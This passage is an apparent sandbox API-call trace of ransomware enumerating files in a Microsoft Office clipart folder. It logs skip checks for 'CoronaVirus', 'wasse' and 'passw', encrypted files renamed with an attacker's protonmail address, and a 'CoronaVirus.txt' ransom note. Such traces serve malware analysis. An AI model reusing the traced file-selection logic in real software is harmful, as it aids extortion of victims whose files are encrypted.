	[0095.271] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.273] malloc (_Size=0x1000) returned 0x51f0070
	[0095.273] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 242
	[0095.273] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.273] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="wasse") returned 0x0
	[0095.273] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="passw") returned 0x0
	[0095.274] SetThreadPriority (hThread=0xc58, nPriority=15) returned 1
	[0095.276] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf043fb32, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x3d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", cAlternateFileName="COA63D~1.GIF")) returned 1
	[0095.276] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.280] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.280] malloc (_Size=0x1000) returned 0x51f80b0
	[0095.283] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 242
	[0095.283] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.283] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="wasse") returned 0x0
	[0095.283] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="passw") returned 0x0
	[0095.284] SetThreadPriority (hThread=0xc5c, nPriority=15) returned 1
	[0095.286] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe23a24, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xefe23a24, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0095.286] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0095.290] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0095.297] malloc (_Size=0x1000) returned 0x51f1078
	[0095.297] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CoronaVirus.txt") returned 71
	[0095.297] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0095.297] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1
	[0095.297] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0095.297] wcsncmp (_String1="CR", _String2="..", _MaxCount=0x2) returned 21
	[0095.297] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1
	[0095.297] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0095.297] wcsncmp (_String1="CR", _String2="..", _MaxCount=0x2) returned 21
	[0095.297] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1
	[0095.297] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0095.297] wcsncmp (_String1="CU", _String2="..", _MaxCount=0x2) returned 21
	[0095.297] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1
	[0095.297] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0095.297] wcsncmp (_String1="CU", _String2="..", _MaxCount=0x2) returned 21
	[0095.297] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1
	[0095.297] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.297] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.297] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1
	[0095.297] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.297] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.298] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1
	[0095.298] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.298] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.298] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1
	[0095.298] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.298] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.298] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1
	[0095.298] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.298] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.298] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1
	[0095.299] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.299] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.299] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1
	[0095.299] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.299] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.299] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1
	[0095.299] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.299] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.299] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1
	[0095.299] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.299] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.299] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1
	[0095.299] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.299] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.299] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1
	[0095.299] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.299] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.299] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1
	[0095.299] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.299] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1
	[0095.300] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.300] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
